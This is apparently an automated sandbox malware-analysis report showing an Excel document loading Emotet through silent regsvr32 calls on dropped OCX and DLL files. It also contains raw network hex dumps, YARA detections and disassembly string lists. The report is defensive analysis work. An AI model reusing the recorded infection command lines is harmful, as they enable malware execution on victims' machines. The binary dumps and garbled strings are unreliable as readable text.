_&>x,pXB'3$[.uX.Bl6CHc4>`N>e,-tq"}k@]]BF,o,l[_^l2gmEXSFXFlLKxA<hqaCh:}R>P{!mnL qQYR+%B0Eox'geQmAA$5oLPj5""dt5Me<6(!.a#.G+*cW{
2022-05-23 06:35:01 UTC	590	IN	Data Raw: bd a1 e5 3a 6b 2b e6 7b 83 31 ea df ee 4b 3c 4d c8 ed 7e 7d e5 f2 c9 6a 58 50 2f ee af d8 4b 2a 66 36 d2 93 ca f7 f6 85 72 6a 66 b0 b1 af 64 bf ef ab 40 62 34 ed ff 23 37 f4 99 ad 67 6b 67 6e e0 df ec 56 39 6b 24 e9 b5 86 32 6b 6a 49 16 30 21 f6 f3 de 43 24 5f 84 b4 1d 50 aa da 92 6b 48 2a 15 4b 01 fd be fb fb 36 71 6a 91 b9 84 98 65 f1 ff db 40 62 34 f7 da dd 34 35 3c 93 28 6b 67 e4 94 c2 27 55 39 1f 32 4f 18 c5 b4 d3 69 5e 48 b5 09 15 46 22 c9 60 7b 51 2d d3 d5 e3 6c 2a 68 c3 bf d6 59 51 6c be 3a 67 61 39 e7 e3 28 44 72 67 30 e3 27 67 42 dc 2c d4 65 37 be b1 a5 67 6b 67 5e e0 75 a0 91 ce 94 d4 d3 a9 47 38 6b eb a5 e1 35 44 31 79 e3 f5 d3 a0 86 e2 9f 18 aa ab a2 6c 48 2a 39 04 0a 31 f6 ba 0f be ad 23 ef 03 4d 3b ee 13 7a 2a ca 11 2c 21 17 e6 db 55 b7 e1 Data Ascii: :k+{1K<M~}jXP/Kf6rjfd@b4#7gkgnV9k$2kjI0!C$_PkHK6qje@b445<(kg'U92Oi^HF"`{Q-lhYQl:ga9(Drg0'gB,e7gkg^uG8k5D1ylH91#M;z*,!U
2022-05-23 06:35:01 UTC	606	IN	Data Raw: 26 4b 9b f9 bd c8 e0 27 3e bf dd 66 fb a7 8f 43 ee 9e 90 6f d1 1d 4b ee 5f 08 93 45 4c 58 da 39 55 fd 0e 6d 98 98 9c a7 ba b5 22 10 d6 78 ae 62 5f 33 37 2a be 70 54 a4 01 03 61 e4 54 12 08 95 d1 21 ec 2d 88 88 17 28 6a 35 0d b4 34 b8 33 ee c1 51 d7 6b 5b e2 4f ec 2a 4a 06 56 4e 66 db 1c 0c 96 9c 98 fb 1a 2f 06 1c cc 37 07 c0 25 8f 87 2c b5 03 3f f0 70 c4 c7 a2 21 33 ee d3 a5 7a e5 38 61 60 a0 25 58 b9 d0 aa 80 5b c1 69 15 b0 03 3e a7 ec 55 79 e2 1d 08 a0 2a 4a e3 0d a2 ed 1f 39 24 be 73 22 ab 70 6a ed d0 e5 72 67 78 82 e1 22 63 34 3e d4 ad 7f be 39 29 fa 6a 67 2d a8 f2 bc 55 39 6b 63 9f d9 55 c7 ea 8c f1 e0 37 4d 70 75 92 a9 ab a9 86 96 9f 15 4b 23 ea 24 48 eb 03 3a 59 ed 40 16 10 57 bb 26 a1 1d 1d 38 68 94 6a e2 06 3a 05 fb 5f 65 b6 40 64 c4 10 8e 67 ee Data Ascii: &K'>fCoK_ELX9Um"xb_37pTaT!-(j543Qk[OJVNf/7%,?p!3z8a`%X[i>Uy*J9$s"pjrgx"c4>9)jg-U9kcU7MpuK#$H:Y@W&8hj:_e@dg
2022-05-23 06:35:01 UTC	622	IN	Data Raw: 2a 55 5c 6a df 0d 9b aa cf 89 99 c1 51 f8 75 bd 6d 50 6f e4 67 cf c3 67 19 b2 62 5f 34 76 fb d5 eb 60 66 b1 63 8d 98 87 ad 26 3c 22 d4 f0 5f a4 52 4a 3f e4 11 14 15 81 1b 7e af 10 46 83 34 98 fe b1 f6 2e 15 d0 21 2b 4d ba 3b 19 08 af 87 c1 d6 64 e6 09 98 cb a9 a2 2e de f9 da 42 8f ff 16 4a b0 07 19 51 c4 37 18 5b a7 63 43 e3 41 09 1b f8 3e 35 fb 20 c3 c1 8f 89 21 f1 69 f2 ce 8a ea 82 03 c7 64 cc eb 2b ef 23 76 23 76 ed 05 83 d4 3c 16 b0 22 3a 6e 2a af 0d 81 50 89 10 6c 71 fd 83 7d f8 16 42 10 ce 3f cc c0 b1 e2 fa 14 c3 97 9e 8f 32 bc 69 ce e5 1e cc c9 59 71 24 92 7c c4 9f 1e 5d 4e b0 2e c5 3d 68 c3 b2 b0 03 c9 3d 81 0a 79 ae 1d e3 e9 1d f6 68 c9 5f d5 0e 8e d5 7a f7 36 86 1d 9b 04 17 82 37 c0 6a 56 18 43 e3 71 d1 d3 61 c8 ca bd 10 c3 2e 33 1f 21 bd 61 2a Data Ascii: U\jQumPoggb_4v`fc&<"_RJ?~F4.!+M;d.BJQ7[cCA>5 !id+#v#v<":nPlq}B?2iYq$\|]N.=h=yh_z67jVCqa.3!a*
2022-05-23 06:35:01 UTC	638	IN	Data Raw: 5e c8 3b 8a 74 9e 8a 95 e3 5f b8 04 b0 5e aa 1a c2 77 4b 2a 66 9d 14 88 fa d3 87 35 b0 07 82 5c c4 37 83 02 da 63 43 e3 41 92 86 fb 3d 35 fb 20 84 32 24 f2 21 bb 41 b5 3b aa 46 88 0f 8f 54 8b 66 df 3d dc 2c 39 37 66 87 61 af 1f 2d eb 50 aa 22 da 00 ad 96 c9 db 24 9c 68 92 f7 9a b6 2f 8a b9 64 9e 67 13 2f 8f 08 eb 71 9a e7 be 7c 5d 13 e4 11 87 fc 9b 08 3f e3 10 11 c7 4e 94 00 c5 7c 43 9d bf 63 f6 9c d8 75 ac 81 cd 59 f0 24 70 d1 6e 47 9e 40 48 2a e7 1f 79 39 a2 89 bc b4 04 42 07 78 41 72 23 f3 2f 43 c8 27 dc ff 1b 41 77 be 79 4d ed 2f 43 5d 69 f7 21 21 0b 6b 2b 20 89 0a 15 5b e1 1b a4 78 c6 7c 86 ed 15 c4 d4 34 8d d1 14 0f 47 c2 89 24 d5 99 12 d8 2f 6d 3e c6 f5 7e ef cb 58 45 72 df e3 40 6e 43 5f c4 16 55 65 38 b1 a1 65 64 6b 8e d8 dd 85 db 92 7c 8b 6c ff Data Ascii: ^;t_^wKf5\7cCA=5 2$!A;FTf=,97fa-P"$h/dg/q\|]?N\|CcuY$pnG@Hy9BxAr#/C'AwyM/C]i!!k+ [x\|4G$/m>~XEr@nC_Ue8edk\|l
2022-05-23 06:35:01 UTC	654	IN	Data Raw: 81 75 66 40 c1 8c db 69 d3 d5 9b 6c 2a 68 89 ca 65 d3 d4 dc 36 76 43 f4 dc da 65 58 45 62 e6 cd da 60 43 62 ec 7f 56 65 bc b0 8c 66 64 6b ec e0 99 79 24 55 d1 2b fb 97 ff 89 b4 ab 69 5e 48 e9 97 9e 76 2e cb fc e7 36 85 9c 1e a0 e2 ea 6b 48 2a 91 bb 90 86 36 ff d6 f5 72 6a 66 99 e8 b2 64 78 6a 67 c2 d7 f4 75 5f 65 a6 6c 69 51 e5 de a7 66 21 7a 51 2d 61 5f ec ed c8 4d 31 6b 42 5f 45 3c cc 84 be 65 40 24 63 2d 10 d3 d1 ae a7 29 68 48 dd f1 5a 51 ed 80 be 40 35 71 67 30 26 ce b5 e2 c0 69 63 43 b7 f0 74 5f a4 92 8d 3f 65 64 63 0c e0 99 79 24 55 27 e2 ae d0 03 4e 31 d3 55 9b 6d 7f c6 bc ce 65 40 24 a8 98 21 d5 1c 0f 1f 62 e1 04 0e 2e 9b bb 68 7d fd 88 bc e4 d2 65 58 45 f3 d2 c0 69 63 43 25 7e 29 5e a2 73 11 6c 89 52 42 67 a4 4d 5e 74 5c b8 1f 0f 38 3b ce 37 6b Data Ascii: uf@ilhe6vCeXEb`CbVefdky$U+i^Hv.6kH6rjfdxjgu_eliQf!zQ-a_M1kB_E<e@$c-)hHZQ@5qg0&icCt_?edcy$U'N1Ume@$!b.h}eXEicC%~)^slRBgM^t\8;7k
2022-05-23 06:35:01 UTC	670	IN	Data Raw: af 13 5d 49 af b1 fa 85 a3 3c 6c 0a e7 16 75 4c 80 05 f8 03 f0 1e 42 78 a5 3f d6 4e e1 27 67 42 bd 32 7b 45 7f b6 f8 7d a7 23 ec a1 69 f3 7c 5d 71 e2 43 78 48 c7 41 73 3d 16 cb d0 2d 79 f5 06 a0 24 d4 cd 4d e8 50 2b 6f 62 e3 e4 0e f6 5a 51 6c bc 06 9b be f5 4e ce 58 45 72 2e f3 b3 ea 07 46 0c fd db 41 97 35 3c 65 2c e0 9e ec 65 5e 14 de bd 4f b3 68 00 4e b8 2f 4e 76 00 b5 21 15 56 8e ac e8 a0 86 5a 98 97 6f 4b 72 1b 58 2b 66 d3 15 48 69 3e c8 30 56 cb 66 58 0d f7 a7 0d 11 a4 07 46 64 e6 a1 48 37 74 84 da 34 76 80 a4 4d 5e 74 5c b8 1f 0f 38 9e 43 33 6b ad da 6c 84 4d 31 76 17 58 fd 5f f2 ed 7c e8 2b 6f 2a e5 44 6a a7 bb 53 e5 b9 52 fb 35 71 6a df e6 c5 2c ff 13 ee 47 fb 62 34 76 73 ec b3 11 84 65 64 6b e6 e1 05 c2 24 55 39 1c e8 97 ff cf 85 4f d2 5e 48 3c Data Ascii: ]I<luLBx?N'gB2{E}#i\|]qCxHAs=-y$MP+obZQlNXEr.FA5<e,e^OhN/Nv!VZoKrX+fHi>0VfXFdH7t4vM^t\8C3klM1vX_\|+o*DjSR5qj,Gb4vsedk$U9O^H<
2022-05-23 06:35:01 UTC	686	IN	Data Raw: 52 50 2b ee 9f 20 42 2a 66 8a d2 29 35 fd c6 7d 7b 6a 66 b0 58 74 98 87 22 e8 fe 2a 3e 76 5f 2d bc c5 79 56 a4 ea 9c 1f 7d 71 24 5a b6 b2 2c 68 00 41 b5 b0 6c 5e 48 bd b6 0e a7 66 40 2b db 5b 6c 58 50 aa 94 56 84 49 2a 69 de 6f 6e 35 76 c2 ce fc c7 65 58 4a f6 ad 79 6a 63 c2 99 3a 2a 5a 65 38 b1 77 64 64 6b e6 9e 63 a6 2c 55 36 ee 08 66 00 4e f6 2f 4e 2e eb d4 02 31 ce ab 8c e8 93 be 2d 7c 10 2a 6f 2a 68 c9 66 42 2a 43 ee a8 7e 0f bc 35 4e 5e d9 01 56 17 a9 d2 63 43 e3 40 52 2f e1 94 d5 34 a2 e1 3b 6d 65 21 f8 cd 1a 39 ea 9e 38 0a 4e 31 cd b5 81 e3 b7 c0 61 7c 66 40 d3 be b8 83 5a d9 be 3f 20 68 48 eb cb 0a 5b 6c 35 78 c2 80 21 60 66 58 a3 c4 65 78 ad 27 67 16 70 36 39 65 b6 71 18 11 49 7a 67 65 a0 0e 00 21 63 33 45 68 c7 cb 79 61 6a 5e 8c d4 a1 31 1d e3 Data Ascii: RP+ Bf)5}{jfXt">v_-yV}q$Z,hAl^Hf@+[lXPVIion5veXJyjc:Ze8wddkc,U6fN/N.1-\|ohfB*C~5N^VcC@R/4;me!98N1a\|f@Z? hH[l5x!`fXex'gp69eqIzge!c3Ehyaj^1
2022-05-23 06:35:01 UTC	702	IN	Data Raw: 5f 17 6d 4b f9 17 da 29 4a ff 07 11 59 e1 23 97 01 f9 2a b3 e1 35 03 e9 79 b1 d6 21 13 15 d4 f7 6c 95 98 dd 1f 0b 29 55 d0 67 d5 97 ff 89 74 a0 8b ca 70 3c 05 bc 20 7e 0c a9 12 9e e8 1d 9b ef de d5 97 c9 67 ad d9 0d d4 50 f7 36 fe 36 5b d3 3d 82 37 a0 db b4 c8 43 a3 51 b1 5a 0e 72 f2 4e ec 21 ac e6 10 e6 9b 06 7d a8 ac 6e 17 bf 7d 1f 6b eb 1b 37 60 fd 31 76 a7 2d 5b 56 f8 2c 27 ba 12 6f 2a e9 3d 55 01 f9 52 6c be 33 3c 71 fa 2f a1 d3 08 b9 ee 3c 4e 43 ab e2 ae 88 a0 dd 37 10 39 65 8d f9 9a 9a de bd 61 92 f6 f7 eb 68 b8 51 43 32 5b 12 c5 79 aa ba 3b a1 b7 c5 9e 93 6d d1 05 ec ee 5f af b3 b8 68 5a 96 29 fe ea ce 36 71 eb 23 93 78 ee 67 78 eb 2e 88 63 cb b2 47 e4 72 fe 8f b2 64 6b e6 10 ea 3d 82 92 21 ac 6e a7 74 a9 82 6b eb 13 87 a0 37 29 da e7 35 eb a5 c6 Data Ascii: _mK)JY#5y!l)Ugtp< ~gP66[=7CQZrN!}n}k7`1v-[V,'o=URl3<q/<NC79eahQC2[y;m_hZ)6q#xgx.cGrdk=!ntk7)5

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 2600, Parent PID: 576

General

Target ID:	0
Start time:	08:34:17
Start date:	23/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fd50000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1820, Parent PID: 2600

General

Target ID:	3
Start time:	08:34:26
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Imagebase:	0xfff90000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.925945389.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2472, Parent PID: 1820

General

Target ID:	4
Start time:	08:34:28
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HtkzwckLMRsIno\zbbayGuUXRtRt.dll"
Imagebase:	0xfff90000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1223146291.00000000001F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1223736851.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1160, Parent PID: 2600

General

Target ID:	5
Start time:	08:34:30
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Imagebase:	0xfff90000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.936818785.0000000002010000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.936929041.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1476, Parent PID: 404

General

Target ID:	6
Start time:	08:34:30
Start date:	23/05/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0xff7d0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1720, Parent PID: 1160

General

Target ID:	7
Start time:	08:34:32
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XcSShRaCEZoMkA\LaeOniCeFWEmCa.dll"
Imagebase:	0xfff90000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.1223965620.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.1223393241.0000000001F00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 768, Parent PID: 2600

General

Target ID:	8
Start time:	08:34:34
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Imagebase:	0xfff90000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.943746358.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.943475793.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2376, Parent PID: 768

General

Target ID:	9
Start time:	08:34:36
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WFwVcxpK\qMgBgEIcUslg.dll"
Imagebase:	0xfff90000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1223804747.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1223136184.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2576, Parent PID: 2600

General

Target ID:	10
Start time:	08:34:39
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Imagebase:	0xfff90000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 1820, Parent PID: 2600COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	10%
Total number of Nodes:	1905
Total number of Limit Nodes:	30

Executed Functions

Function 000007FEF9D212B0 Relevance: 210.9, APIs: 6, Strings: 114, Instructions: 872
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoLoadLibrary.OLE32 ref: 000007FEF9D22F02
MessageBoxA.USER32 ref: 000007FEF9D22F1C
ExitProcess.KERNEL32 ref: 000007FEF9D22F27
VirtualAlloc.KERNELBASE ref: 000007FEF9D22F57
RtlAllocateHeap.NTDLL ref: 000007FEF9D22F65
CoTaskMemFree.OLE32 ref: 000007FEF9D22F86

Strings

>~, xrefs: 000007FEF9D21DA6
}'6, xrefs: 000007FEF9D21B76
j+h, xrefs: 000007FEF9D228BE
pAT#, xrefs: 000007FEF9D21B4E
:'U@, xrefs: 000007FEF9D22490
P+oo, xrefs: 000007FEF9D2233C
Ko*h, xrefs: 000007FEF9D22CC4
U9#(, xrefs: 000007FEF9D224EA
&\hR, xrefs: 000007FEF9D21EBE
R;pB, xrefs: 000007FEF9D21BBC
e7tc, xrefs: 000007FEF9D22C6A
}WL, xrefs: 000007FEF9D21A22
3ob, xrefs: 000007FEF9D215EA
^*C, xrefs: 000007FEF9D2209E
rkE@, xrefs: 000007FEF9D21415
cDj, xrefs: 000007FEF9D218E2
FLIn, xrefs: 000007FEF9D228FA
S}pn, xrefs: 000007FEF9D222BA
@ , xrefs: 000007FEF9D229EA
QlyO, xrefs: 000007FEF9D21D9C
-{*, xrefs: 000007FEF9D2285A
N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h, xrefs: 000007FEF9D22FBB
Ya], xrefs: 000007FEF9D21590
1\u, xrefs: 000007FEF9D22CBA
9[+, xrefs: 000007FEF9D21FD6
mbPv, xrefs: 000007FEF9D21423
g@$, xrefs: 000007FEF9D22328
%</, xrefs: 000007FEF9D224A4
jfX, xrefs: 000007FEF9D21EF0
wk/, xrefs: 000007FEF9D21784
%<, xrefs: 000007FEF9D22CE2
$D1v, xrefs: 000007FEF9D215CC
$:*:, xrefs: 000007FEF9D22C74
%U9, xrefs: 000007FEF9D22A9E
<)@P, xrefs: 000007FEF9D215E0
,$n, xrefs: 000007FEF9D21658
V#s, xrefs: 000007FEF9D21676
2s<S, xrefs: 000007FEF9D2236E
mCl4, xrefs: 000007FEF9D216C6
h78<, xrefs: 000007FEF9D21AA4
N3, xrefs: 000007FEF9D2245E
l|f, xrefs: 000007FEF9D22080
$huN, xrefs: 000007FEF9D22DE6
;qdf, xrefs: 000007FEF9D21A7C
Pl5, xrefs: 000007FEF9D21E3C
D)'U, xrefs: 000007FEF9D222A6
HPZ, xrefs: 000007FEF9D22896
Puvm, xrefs: 000007FEF9D22D0A
(pd, xrefs: 000007FEF9D221CA
PX5, xrefs: 000007FEF9D2265C
VO4, xrefs: 000007FEF9D21BD0
|X, xrefs: 000007FEF9D21AC2
S[L, xrefs: 000007FEF9D2218E
0kj., xrefs: 000007FEF9D2144D
`I, xrefs: 000007FEF9D22634
+iT, xrefs: 000007FEF9D22012
*hH, xrefs: 000007FEF9D21386
M z, xrefs: 000007FEF9D21438
V9s, xrefs: 000007FEF9D2260C
8<-, xrefs: 000007FEF9D21BEE
EBg, xrefs: 000007FEF9D21F9A
U+on, xrefs: 000007FEF9D21E28
5qj', xrefs: 000007FEF9D21F90
`AnM, xrefs: 000007FEF9D22E6F
$}%z, xrefs: 000007FEF9D22C7E
c-_j, xrefs: 000007FEF9D221F2
M1vi, xrefs: 000007FEF9D226F2
4bB, xrefs: 000007FEF9D22210
It, xrefs: 000007FEF9D21CC0
wC54, xrefs: 000007FEF9D22AF8
Eekg, xrefs: 000007FEF9D224D6
tc`, xrefs: 000007FEF9D221C0
?x?, xrefs: 000007FEF9D21D2E
C/, xrefs: 000007FEF9D21E82
MDj, xrefs: 000007FEF9D2281E
werfault.exe, xrefs: 000007FEF9D22E68
$931, xrefs: 000007FEF9D21D56
,1., xrefs: 000007FEF9D2258A
+ong, xrefs: 000007FEF9D22A3A
w&ed, xrefs: 000007FEF9D22288
.#(, xrefs: 000007FEF9D21346
=kf^, xrefs: 000007FEF9D21662
oE, xrefs: 000007FEF9D22418
!@C+, xrefs: 000007FEF9D21824
L ]1, xrefs: 000007FEF9D21842
5vCx, xrefs: 000007FEF9D22B98
|e:, xrefs: 000007FEF9D22EDD
%Uc, xrefs: 000007FEF9D22E18
aUJ', xrefs: 000007FEF9D217F2
#z$U, xrefs: 000007FEF9D221B6
xA\#, xrefs: 000007FEF9D2163A
{fM$, xrefs: 000007FEF9D21B8A
M13U, xrefs: 000007FEF9D217B6
hx", xrefs: 000007FEF9D21B30
-'C, xrefs: 000007FEF9D21AAE
i~e, xrefs: 000007FEF9D21FCC
<v:, xrefs: 000007FEF9D21A4A
:9m?, xrefs: 000007FEF9D22792
"!k, xrefs: 000007FEF9D221FC
0.3, xrefs: 000007FEF9D213AC
:!@, xrefs: 000007FEF9D2145B
{$U|, xrefs: 000007FEF9D223A0
*hH%, xrefs: 000007FEF9D2215C
kxfc, xrefs: 000007FEF9D218A6
t(O, xrefs: 000007FEF9D218C4
%8#, xrefs: 000007FEF9D21D06
"V2, xrefs: 000007FEF9D2280A
Cb47, xrefs: 000007FEF9D22D00
gVWH, xrefs: 000007FEF9D21D88
?CE`, xrefs: 000007FEF9D21BF8
ePO, xrefs: 000007FEF9D21A04
<M}O, xrefs: 000007FEF9D21D6A
} z$, xrefs: 000007FEF9D229F4
BxJr, xrefs: 000007FEF9D21B26

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocAllocateExitFreeHeapLibraryLoadMessageProcessTaskVirtual
String ID: %<$Ya]$g@$$|X$ 4bB$!@C+$"V2$#z$U$$931$$:*:$$D1v$$huN$$}%z$%8#$%</$%U9$&\hR$*hH%$+ong$+iT$-{*$-'C$.#($0kj.$0.3$1\u$2s<S$3ob$5qj'$5vCx$8<-$:!@$:'U@$:9m?$;qdf$<)@P$<M}O$<v:$=kf^$>~$?CE`$@ $BxJr$C/$Cb47$D)'U$Eekg$FLIn$HPZ$Ko*h$L ]1$M13U$M1vi$MDj$N1kj^H<M1vf@$_yiXP+o*hH*fZQl5vC5qjfXErgxjcCb4v_e75<edkge!z$U9k+h$P+oo$PX5$Puvm$QlyO$R;pB$S[L$S}pn$U+on$U9#($V#s$V9s$VO4$^*C$`AnM$aUJ'$c-_j$cDj$e7tc$ePO$gVWH$h78<$hx"$j+h$kxfc$l|f$mCl4$mbPv$pAT#$rkE@$t(O$tc`$w&ed$wC54$werfault.exe$wk/$xA\#${$U|${fM$$|e:$} z$$}'6$}WL$It$"!k$%Uc$(pd$*hH$,$n$,1.$9[+$?x?$EBg$M z$N3$Pl5$i~e$jfX$oE$`I
API String ID: 2181984824-2032897877
Opcode ID: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction ID: 1e3beb4b4c43f569e156fbbbb3a48c6786d138466eab30fa5612b4063b7ac052
Opcode Fuzzy Hash: be2b6721a01229fe6d62131d54c2e067f3d2e24da2d5df3bb551e88fe72b0fff
Instruction Fuzzy Hash: 72E2C9B690A7C18FE3748F629E857DD3AA0F345748F609208D3991FA1DCB795242CF86

Uniqueness

Uniqueness Score: -1.00%

Function 003B0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 003B0450
GetNativeSystemInfo.KERNEL32 ref: 003B0539
VirtualAlloc.KERNELBASE ref: 003B0580
VirtualProtect.KERNELBASE ref: 003B09E9

Strings

Load, xrefs: 003B00C8
tion, xrefs: 003B0128
Reso, xrefs: 003B02FC
onTa, xrefs: 003B0171
Flus, xrefs: 003B0113
eSys, xrefs: 003B0144
Reso, xrefs: 003B02DB
Lock, xrefs: 003B0330
sour, xrefs: 003B031F
Reso, xrefs: 003B0355
RtlA, xrefs: 003B015C
Virt, xrefs: 003B00E0
lloc, xrefs: 003B00F0
temI, xrefs: 003B014B
Find, xrefs: 003B02D0
ualP, xrefs: 003B00FF
aryA, xrefs: 003B00D8
ncti, xrefs: 003B016A
Libr, xrefs: 003B00D0
ualA, xrefs: 003B00E8
Slee, xrefs: 003B00B7
ofRe, xrefs: 003B0318
Virt, xrefs: 003B00F8
urce, xrefs: 003B035D
truc, xrefs: 003B0121
Load, xrefs: 003B02F4
ativ, xrefs: 003B013D
urce, xrefs: 003B0340
urce, xrefs: 003B0304
ddFu, xrefs: 003B0163
hIns, xrefs: 003B011A
GetN, xrefs: 003B0136
Size, xrefs: 003B0311
urce, xrefs: 003B02E7
Free, xrefs: 003B034D
rote, xrefs: 003B0106
Reso, xrefs: 003B0338
Cach, xrefs: 003B012F

Memory Dump Source

Source File: 00000003.00000002.925942148.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 003B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3b0000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
